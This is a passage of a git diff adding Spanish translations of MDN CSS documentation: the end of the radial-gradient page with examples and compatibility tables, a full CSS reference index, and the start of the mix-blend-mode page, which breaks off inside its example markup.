+
+<h2 id="Example_3" name="Example_3">Ejemplo 3</h2>
+
+<p>Este código generará un fondo de elipse en la esquina más lejana (<code>farthest-corner</code>) a <code>45px 45px</code>, cambiando el color de rojo (<code>#FF0000</code>) a azul (<code>#0000FF</code>):</p>
+
+<pre class="brush: css notranslate">body {
+  width: 100vh;
+  height: 100vh;
+  background-image: radial-gradient(farthest-corner at 45px 45px , #FF0000 0%, #0000FF 100%);
+}</pre>
+
+<p>{{ EmbedLiveSample('Example_3') }}</p>
+
+<h2 id="Example_4" name="Example_4">Ejemplo 4</h2>
+
+<p>Este código producirá un círculo difuso con radio de <code>16px</code>:</p>
+
+<pre class="brush: css notranslate">body {
+  width: 100vh;
+  height: 100vh;
+  background-image:  radial-gradient(16px at 60px 50% , #000000 0%, #000000 14px, rgba(0, 0, 0, 0.3) 18px, rgba(0, 0, 0, 0) 19px);
+} </pre>
+
+<p>{{ EmbedLiveSample('Example_4') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#radial-gradients', 'radial-gradients()')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico (en {{cssxref("background")}} y {{cssxref("background-image")}})</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}{{property_prefix("-moz")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("16")}}</td>
+   <td>10.0 (534.16){{property_prefix("-webkit")}}<sup>[2]</sup></td>
+   <td>10.0<sup>[3]</sup></td>
+   <td>11.60{{property_prefix("-o")}}</td>
+   <td>5.1{{property_prefix("-webkit")}}<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td>En {{cssxref("border-image")}}</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>En cualquier propiedad que acepte el tipo {{cssxref("&lt;image&gt;")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="http://www.webkit.org/blog/175/introducing-css-gradients/">Sintaxis anterior de webkit</a> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>3{{property_prefix("-webkit")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.0{{property_prefix("-webkit")}}<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td>Sintaxis de <code>at</code> (sintaxis estándar final)</td>
+   <td>{{CompatGeckoDesktop("10")}}{{property_prefix("-moz")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("16")}}<sup>[4]</sup></td>
+   <td>26</td>
+   <td>10.0</td>
+   <td>11.60{{property_prefix("-o")}}<sup>[2]</sup><br>
+    2.12</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Consejos de interpolación (un porcentaje sin color)</td>
+   <td>{{CompatGeckoDesktop("36")}}</td>
+   <td>40</td>
+   <td> </td>
+   <td>27</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico (en {{cssxref("background")}} y {{cssxref("background-image")}})</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}{{property_prefix("-moz")}}<sup>[1]</sup><br>
+    {{CompatGeckoMobile("16")}}</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>En {{cssxref("border-image")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("29")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>En cualquier propiedad que acepte el tipo {{cssxref("&lt;image&gt;")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="http://www.webkit.org/blog/175/introducing-css-gradients/">Sintaxis anterior de webkit</a> {{non-standard_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Sintaxis de <code>at</code> (sintaxis estándar final)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("10")}}{{property_prefix("-moz")}}<sup>[1]</sup><br>
+    {{CompatGeckoMobile("16")}}</td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Implementado en Firefox 3.6 usando prefijo, y sintaxis anterior. Antes de Firefox 36, Gecko no aplicaba gradientes en espacios de color premultiplicado, provocando que apareciera una sombra gris cuando se usaba con transparencia. Desde Firefox 42, la versión con prefijo puede ser deshabilitada estableciendo la opción <code>layout.css.prefixes.gradients</code> en <code>false</code>.</p>
+
+<p>[2] Implementado en WebKit usando prefijo, y sintaxis anterior. WebKit desde la versión 528 soporta la función anterior <a href="https://developer.apple.com/library/safari/documentation/InternetWeb/Conceptual/SafariVisualEffectsProgGuide/Gradients/Gradient.html#//apple_ref/doc/uid/TP40008032-CH10-SW34"><code>-webkit-gradient(radial,…)</code></a>. Véase también su <a href="https://developer.apple.com/library/safari/#documentation/InternetWeb/Conceptual/SafariVisualEffectsProgGuide/Gradients/Gradient.html#//apple_ref/doc/uid/TP40008032-CH10-SW15">soporte actual</a> para gradientes radiales.</p>
+
+<p>[3] Internet Explorer 5.5 a 9.0 soporta la propiedad exclusiva <a href="https://msdn.microsoft.com/es-es/library/ms532997(VS.85,loband).aspx"><code>filter: progid:DXImageTransform.Microsoft.Gradient()</code> filter</a>.</p>
+
+<p>[4] Además del soporte sin prefijo, Gecko 44.0 {{geckoRelease("44.0")}} incluye soporte para una versión con prefijo <code>-webkit</code> de la función, por razones de compatibilidad, dentro de la opción <code>layout.css.prefixes.webkit</code>, con valor <code>false</code> de forma predeterminada. Desde Gecko 49.0 {{geckoRelease("49.0")}} el valor predeterminado de esa opción es <code>true</code>.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/es/docs/CSS/Using_CSS_gradients">Usando gradientes con CSS</a>, {{cssxref("repeating-radial-gradient")}}, {{cssxref("linear-gradient")}}</li>
+ <li>Propuesta original de WebKit: <a href="http://webkit.org/blog/175/introducing-css-gradients/">http://webkit.org/blog/175/introducing-css-gradients/</a></li>
+ <li>Nueva implementación de WebKit: <a href="http://webkit.org/blog/1424/css3-gradients/">http://webkit.org/blog/1424/css3-gradients/</a></li>
+</ul>
diff --git a/files/es/web/css/referencia_css/index.html b/files/es/web/css/referencia_css/index.html
new file mode 100644
index 0000000000..63c52a6cdb
--- /dev/null
+++ b/files/es/web/css/referencia_css/index.html
@@ -0,0 +1,246 @@
+---
+title: Referencia CSS
+slug: Web/CSS/Referencia_CSS
+tags:
+  - CSS
+  - Referencia CSS
+  - para_revisar
+translation_of: Web/CSS/Reference
+---
+<div class="note">
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Estamos trabajando sobre este documento.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Si deseas ayudarnos a redactar o mejorar alguna de las páginas listadas a continuación, te animamos a que lo hagas.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Si vas a agregar o modificar una página, por favor, ajústate a la plantilla <a href="/en/CSS/CSS_Reference/Property_Template" title="en/CSS Reference/Property Template">Referencia CSS:Plantilla de propiedades </a> y modifica según sea necesario.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-from-human goog-gtc-ph-missing goog-gtc-translatable" dir="ltr">La plantilla básica para las páginas de ejemplo se puede encontrar aquí: </span></span> <a class="internal" href="/samples/cssref/TEMPLATE.html" title="https://developer.mozilla.org/samples/cssref/TEMPLATE.html ">samples/cssref/TEMPLATE.html</a>.</p>
+<span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Siéntete libre para discutir sobre cualquier pregunta o sugerencia en la página <a href="/Talk:en/CSS_Reference" title="Talk:en/CSS Reference">Talk:CSS Reference</a>.</span></span></div>
+
+<p><span class="seoSummary">Esta <em>Referencia CSS</em> muestra la sintáxis básica de una regla CSS; lista todas las propiedades estándares <a href="/es/docs/Web/CSS">CSS</a>, <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-classes</a> y <a href="/es/docs/Web/CSS/Pseudoelementos">pseudo-elementos</a>, <a href="/es/docs/Web/CSS/At-rule">reglas-at</a>, <a href="/es/docs/Web/CSS/length">unidades</a>, y <a href="/es/docs/Web/CSS/Introducci%C3%B3n/Selectors">selectores</a>, todos juntos en <a href="#Keyword_index">orden alfabético</a>, así como los <a href="#Selectors">selectores por tipo</a>; y le permitirá acceso rápido a la información detallada de cada uno de ellos. No solo lista las propiedades de CSS 1 y CSS 2.1, sino que también es una referencia de CSS3 que enlaza cualquier propiedad y concepto de <a href="/es/docs/Web/CSS/CSS3">CSS3</a> estandarizado, o ya establecido. También incluye una breve <a href="#DOM_CSS">referencia DOM-CSS / CSSOM</a>.</span></p>
+
+<p>Tenga en cuenta que las definiciones de reglas CSS son completamente <a href="https://www.w3.org/TR/css-syntax-3/#intro">basadas en texto</a> (ASCII), mientras que DOM-CSS / CSSOM, el sistema de gestión de reglas, está <a href="https://www.w3.org/TR/cssom/#introduction">basado en objetos</a>.</p>
+
+<p>Vea también las <a href="/es/docs/Web/CSS/Referencia_CSS/Extensiones_CSS_Mozilla">Extensiones CSS de Mozilla</a> para propiedades específicas de Gecko, que usan el prefijo <code>-moz</code>; y las <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Reference/Webkit_Extensions">Extensiones CSS de WebKit</a> para propiedades específicas de WebKit. Vea <a href="http://peter.sh/experiments/vendor-prefixed-css-property-overview/">Vendor-prefixed CSS Property Overview</a> de Peter Beverloo como referencia a todas las propiedades con prefijo.</p>
+
+<h2 id="Sintaxis_de_regla_básica">Sintaxis de regla básica</h2>
+
+<p>Se advierte que cualquier error de sintaxis en una definición de regla invalidará la regla por completo.</p>
+
+<h3 id="Sintaxis_de_regla_de_estilo">Sintaxis de regla de estilo</h3>
+
+<pre class="syntaxbox"><strong><var>selectorlist</var> {
+   <var>property</var>: <var>value</var>; </strong>
+   <var>[more property:value; pairs] </var>
+<strong>}</strong>
+
+...where <var>selectorlist</var> is: <var>selector[:pseudo-class] [::pseudo-element] [, more selectorlists]</var>
+
+Ver <a href="#Selectors"><em>selector</em></a>, <em><a href="#pelm">pseudo-elemento</a></em>, <a href="#pcls"><em>pseudo-clase</em></a> más abajo.
+
+</pre>
+
+<h4 id="Ejemplos_de_reglas_de_estilo">Ejemplos de reglas de estilo</h4>
+
+<pre class="brush: css">strong {
+  color: red;
+}
+
+div.menu-bar li:hover &gt; ul {
+  display: block;
+}
+</pre>
+
+<p>Para una introducción de nivel principiante a la sintaxis de los selectores de CSS, consulte <a href="/es/docs/Learn/CSS/Introduction_to_CSS/Selectors">este tutorial</a>. Tenga en cuenta que cualquier error de <a href="/es/docs/Web/CSS/syntax">sintaxis CSS</a> en una definición de regla hace que la regla completa se invalide. El navegador ignora las reglas no válidas. Tenga en cuenta que las definiciones de reglas CSS son totalmente (ASCII) <a href="https://www.w3.org/TR/css-syntax-3/#intro">basadas en texto</a>, mientras que DOM-CSS / CSSOM (el sistema de gestión de reglas) está <a href="https://www.w3.org/TR/cssom/#introduction">basado en objetos</a>.</p>
+
+<h3 id="Sintaxis_de_las_reglas-at_(rules)">Sintaxis de las reglas-at (@rules)</h3>
+
+<p>Debido a que éstas tienen formatos de estructura variados, revise la sección <a href="/es/docs/Web/CSS/At-rule">reglas-At</a> para ver la sintaxis de la regla deseada.</p>
+
+<h2 id="Índice_de_palabras_clave">Índice de palabras clave</h2>
+
+<div class="note">
+<p><strong>Nota:</strong> Los nombres de propiedad en este índice <strong>no</strong> incluyen los <a href="/es/docs/Web/CSS/CSS_Properties_Reference">nombres de JavaScript</a> donde difieren de los nombres estándar de CSS.</p>
+</div>
+
+<div>{{CSS_Ref}}</div>
+
+<h2 id="Selectores">Selectores</h2>
+
+<h3 id="Selectores_básicos"><a href="/es/docs/Web/CSS/CSS_Selectors#Basic_selectors">Selectores básicos</a></h3>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/Type_selectors">Selectores de tipo</a> <code>elementname</code></li>
+ <li><a href="/es/docs/Web/CSS/Class_selectors">Selectores de clase</a> <code>.classname</code></li>
+ <li><a href="/es/docs/Web/CSS/ID_selectors">Selectores de ID</a> <code>#idname</code></li>
+ <li><a href="/es/docs/Web/CSS/Universal_selectors">Selectores universales</a> <code>*</code>, <code>ns|*</code>, <code>*|*</code>, <code>|*</code></li>
+ <li><a href="/es/docs/Web/CSS/Selectores_atributo">Selectores de atributo</a> <code>[attr=value]</code></li>
+</ul>
+
+<h3 id="Combinadores"><a href="/es/docs/Web/CSS/CSS_Selectors#Combinators">Combinadores</a></h3>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/Selectores_hermanos_adyacentes">Selectores de hermanos adyacentes</a> <code>A + B</code></li>
+ <li><a href="/es/docs/Web/CSS/Selectores_hermanos_generales">Selectores de hermanos generales</a> <code>A ~ B</code></li>
+ <li><a href="/es/docs/Web/CSS/Child_selectors">Selectores de hijo</a> <code>A &gt; B</code></li>
+ <li><a href="/es/docs/Web/CSS/Descendant_selectors">Selectores de descendiente</a> <code>A B</code></li>
+</ul>
+
+<h3 id="Pseudo-clases"><a href="/es/docs/Web/CSS/Pseudo-classes">Pseudo-clases</a></h3>
+
+<div class="index">
+<ul>
+ <li id="pcls">{{ Cssxref(":active") }}</li>
+ <li>{{ Cssxref(':any')}}</li>
+ <li>{{ Cssxref(':any-link')}}</li>
+ <li>{{ Cssxref(":checked") }}</li>
+ <li>{{ Cssxref(":default") }}</li>
+ <li>{{ Cssxref(":defined") }}</li>
+ <li>{{ Cssxref(":dir", ":dir()")}}</li>
+ <li>{{ Cssxref(":disabled") }}</li>
+ <li>{{ Cssxref(":empty") }}</li>
+ <li>{{ Cssxref(":enabled") }}</li>
+ <li>{{ Cssxref(":first") }}</li>
+ <li>{{ Cssxref(":first-child") }}</li>
+ <li>{{ Cssxref(":first-of-type") }}</li>
+ <li>{{ Cssxref(":fullscreen") }}</li>
+ <li>{{ Cssxref(":focus") }}</li>
+ <li>{{ Cssxref(":focus-visible") }}</li>
+ <li>{{ Cssxref(":host") }}</li>
+ <li>{{ Cssxref(":host()") }}</li>
+ <li>{{ Cssxref(":host-context()") }}</li>
+ <li>{{ Cssxref(":hover") }}</li>
+ <li>{{ Cssxref(":indeterminate") }}</li>
+ <li>{{ Cssxref(":in-range") }}</li>
+ <li>{{ Cssxref(":invalid") }}</li>
+ <li>{{ Cssxref(":lang", ":lang()") }}</li>
+ <li>{{ Cssxref(":last-child") }}</li>
+ <li>{{ Cssxref(":last-of-type") }}</li>
+ <li>{{ Cssxref(":left") }}</li>
+ <li>{{ Cssxref(":link") }}</li>
+ <li>{{ Cssxref(":not", ":not()") }}</li>
+ <li>{{ Cssxref(":nth-child", ":nth-child()") }}</li>
+ <li>{{ Cssxref(":nth-last-child", ":nth-last-child()") }}</li>
+ <li>{{ Cssxref(":nth-last-of-type", ":nth-last-of-type()") }}</li>
+ <li>{{ Cssxref(":nth-of-type", ":nth-of-type()") }}</li>
+ <li>{{ Cssxref(":only-child") }}</li>
+ <li>{{ Cssxref(":only-of-type") }}</li>
+ <li>{{ Cssxref(":optional") }}</li>
+ <li>{{ Cssxref(":out-of-range") }}</li>
+ <li>{{ Cssxref(":read-only") }}</li>
+ <li>{{ Cssxref(":read-write") }}</li>
+ <li>{{ Cssxref(":required") }}</li>
+ <li>{{ Cssxref(":right") }}</li>
+ <li>{{ Cssxref(":root") }}</li>
+ <li>{{ Cssxref(":scope") }}</li>
+ <li>{{ Cssxref(":target") }}</li>
+ <li>{{ Cssxref(":valid") }}</li>
+ <li>{{ Cssxref(":visited") }}</li>
+</ul>
+</div>
+
+<h3 id="Pseudo-elementos"><a href="/en-US/docs/Web/CSS/Pseudo-elements">Pseudo-elementos</a></h3>
+
+<div class="index">
+<ul>
+ <li id="pelm">{{ Cssxref("::after") }}</li>
+ <li>{{ Cssxref("::backdrop") }}</li>
+ <li>{{ Cssxref("::before") }}</li>
+ <li>{{ Cssxref("::cue") }}</li>
+ <li>{{ Cssxref("::first-letter") }}</li>
+ <li>{{ Cssxref("::first-line") }}</li>
+ <li>{{ Cssxref("::grammar-error") }} {{experimental_inline}}</li>
+ <li>{{ Cssxref("::marker") }} {{experimental_inline}}</li>
+ <li>{{ Cssxref("::placeholder") }} {{experimental_inline}}</li>
+ <li>{{ Cssxref("::selection") }}</li>
+ <li>{{ Cssxref("::spelling-error") }} {{experimental_inline}}</li>
+</ul>
+</div>
+
+<div class="note">
+<p><strong>Ver también:</strong> Una <a href="https://www.w3.org/TR/selectors/#selectors">lista completa de selectores</a> en la especificación de Nivel 3 de Selectores.</p>
+</div>
+
+<h2 id="Conceptos">Conceptos</h2>
+
+<h3 id="Sintaxis_y_semántica">Sintaxis y semántica</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/Syntax">Sintaxis CSS</a></li>
+ <li><a href="/es/docs/Web/CSS/At-rule">Reglas-at</a></li>
+ <li><a href="/es/docs/Web/CSS/Cascade">Cascada</a></li>
+ <li><a href="/es/docs/Web/CSS/Comments">Comentarios</a></li>
+ <li><a href="/es/docs/Glossary/Descriptor_(CSS)">Descriptor</a></li>
+ <li><a href="/es/docs/Web/CSS/inheritance">Herencia</a></li>
+ <li><a href="/es/docs/Web/CSS/Shorthand_properties">Propiedades abreviadas</a></li>
+ <li><a href="/es/docs/Web/CSS/Specificity">Especificidad</a></li>
+ <li><a href="/es/docs/Web/CSS/Value_definition_syntax">Sintaxis de definición de valor</a></li>
+</ul>
+
+<h3 id="Valores">Valores</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/actual_value">Valor actual</a></li>
+ <li><a href="/es/docs/Web/CSS/computed_value">Valor calculado</a></li>
+ <li><a href="/es/docs/Web/CSS/initial_value">Valor inicial</a></li>
+ <li><a href="/es/docs/Web/CSS/resolved_value">Valor resuelto</a></li>
+ <li><a href="/es/docs/Web/CSS/specified_value">Valor específico</a></li>
+ <li><a href="/es/docs/Web/CSS/used_value">Valor utilizado</a></li>
+</ul>
+
+<h3 id="Diseño">Diseño</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/Guide/CSS/Block_formatting_context">Contexto de formato de bloque</a></li>
+ <li><a href="/es/docs/Web/CSS/box_model">Modelo de caja</a></li>
+ <li><a href="/es/docs/Web/CSS/All_About_The_Containing_Block">Containing block</a></li>
+ <li><a href="/es/docs/Web/CSS/Layout_mode">Modo de diseño</a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">Margen colapsando</a></li>
+ <li><a href="/es/docs/Web/CSS/Replaced_element">Elementos reemplazados</a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context">Contexto de apilamiento</a></li>
+ <li><a href="/es/docs/Web/Guide/CSS/Visual_formatting_model">Modelo de formato visual</a></li>
+</ul>
+
+<h2 id="DOM-CSS_CSSOM">DOM-CSS / CSSOM</h2>
+
+<h3 id="Tipos_de_objetos_principales">Tipos de objetos principales</h3>
+
+<ul>
+ <li>document.<a href="/es/docs/Web/API/Document/styleSheets">styleSheets</a></li>
+ <li>styleSheets[i].<a href="/es/docs/Web/API/CSSRuleList">cssRules</a></li>
+ <li>cssRules[i].<a href="/es/docs/Web/API/CSSRule/cssText">cssText</a> (selector y estilo)</li>
+ <li>cssRules[i].<a href="/es/docs/Web/API/CSSStyleRule/selectorText">selectorText</a></li>
+ <li>elem.<a href="/es/docs/Web/API/HTMLElement/style">style</a></li>
+ <li>elem.style.<a href="/es/docs/Web/API/CSSStyleDeclaration/cssText">cssText</a> (solo estilo)</li>
+ <li>elem.<a href="/es/docs/Web/API/Element/className">className</a></li>
+ <li>elem.<a href="/es/docs/Web/API/Element/classList">classList</a></li>
+</ul>
+
+<h3 id="Métodos_importantes">Métodos importantes</h3>
+
+<ul>
+ <li>{{domxref("CSSStyleSheet.insertRule")}}</li>
+ <li>{{domxref("CSSStyleSheet.deleteRule")}}</li>
+</ul>
+
+<h2 id="Tutoriales_CSS3">Tutoriales CSS3</h2>
+
+<p>Estas páginas describen las nuevas tecnologías que aparecieron en CSS3, o las de CSS2.1 que no tienen mucho soporte:</p>
+
+<ul>
+ <li><a href="/es/docs/CSS/Media_queries">Uso de media queries con CSS</a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">Uso de contadores con CSS</a></li>
+ <li><a href="/es/docs/CSS/Using_CSS_gradients">Uso de gradientes con CSS</a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms">Uso de transformaciones con CSS</a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Animations/Usando_animaciones_CSS">Uso de animaciones con CSS</a></li>
+ <li><a href="/es/docs/Web/CSS/Transiciones_de_CSS">Uso de transiciones con CSS</a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds">Uso de múltiples fondos con CSS</a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS">Uso de las cajas flexibles con CSS</a></li>
+ <li><a href="/es/docs/Columnas_con_CSS-3">Uso de columnas con CSS</a></li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/Mozilla_Extensions">Extensiones CSS de Mozilla</a> (con el prefijo <code>-moz</code>)</li>
+ <li><a href="/en-US/docs/Web/CSS/Webkit_Extensions">Extensiones CSS de WebKit</a> (principalmente con el prefijo <code>-webkit</code>)</li>
+ <li><a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">Extensiones CSS de Microsoft</a> (con el prefijo <code>-ms</code>)</li>
+</ul>
diff --git a/files/es/web/css/referencia_css/mix-blend-mode/index.html b/files/es/web/css/referencia_css/mix-blend-mode/index.html
new file mode 100644
index 0000000000..fc213a4ceb
--- /dev/null
+++ b/files/es/web/css/referencia_css/mix-blend-mode/index.html
@@ -0,0 +1,611 @@
+---
+title: mix-blend-mode
+slug: Web/CSS/Referencia_CSS/mix-blend-mode
+tags:
+  - CSS
+translation_of: Web/CSS/mix-blend-mode
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad <a href="/es/docs/Web/CSS">CSS</a> <strong><code>mix-blend-mode</code></strong> describe cómo el contenido de un elemento debe mezclarse con el contenido del elemento que está tras él y con el fondo del elemento.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/mix-blend-mode.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="brush:css no-line-numbers">/* Valores clave */
+mix-blend-mode: normal;
+mix-blend-mode: multiply;
+mix-blend-mode: screen;
+mix-blend-mode: overlay;
+mix-blend-mode: darken;
+mix-blend-mode: lighten;
+mix-blend-mode: color-dodge;
+mix-blend-mode: color-burn;
+mix-blend-mode: hard-light;
+mix-blend-mode: soft-light;
+mix-blend-mode: difference;
+mix-blend-mode: exclusion;
+mix-blend-mode: hue;
+mix-blend-mode: saturation;
+mix-blend-mode: color;
+mix-blend-mode: luminosity;
+
+/* Valores globales */
+mix-blend-mode: initial;
+mix-blend-mode: inherit;
+mix-blend-mode: unset;
+</pre>
+
+<h3 id="Values" name="Values">Valores</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;blend-mode&gt;")}}</dt>
+ <dd>El modo de mezcla que debería ser aplicado.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<div class="hidden" id="mix-blend-mode">
+<pre class="brush: html">&lt;div class="grid"&gt;
+  &lt;div class="col"&gt;
+    &lt;div class="note"&gt;Mezclado aislado (sin mezclar con el fondo)&lt;/div&gt;
+    &lt;div class="row isolate"&gt;
+      &lt;div class="cell"&gt; normal
+        &lt;div class="container normal"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;defs&gt;
+                &lt;linearGradient id="red"&gt;
+                  &lt;stop offset="0"    stop-color="hsl(0,100%,50%)" /&gt;
+                  &lt;stop offset="100%" stop-color="hsl(0,0%,100%)" /&gt;
+                &lt;/linearGradient&gt;
+                &lt;linearGradient id="green"&gt;
+                  &lt;stop offset="0"    stop-color="hsl(120,100%,50%)" /&gt;
+                  &lt;stop offset="100%" stop-color="hsl(120,0%,100%)" /&gt;
+                &lt;/linearGradient&gt;
+                &lt;linearGradient id="blue"&gt;
+                  &lt;stop offset="0"    stop-color="hsl(240,100%,50%)" /&gt;
+                  &lt;stop offset="100%" stop-color="hsl(240,0%,100%)" /&gt;
+                &lt;/linearGradient&gt;
+              &lt;/defs&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; multiply
+        &lt;div class="container multiply"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; darken
+        &lt;div class="container darken"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; screen
+        &lt;div class="container screen"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; lighten
+        &lt;div class="container lighten"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
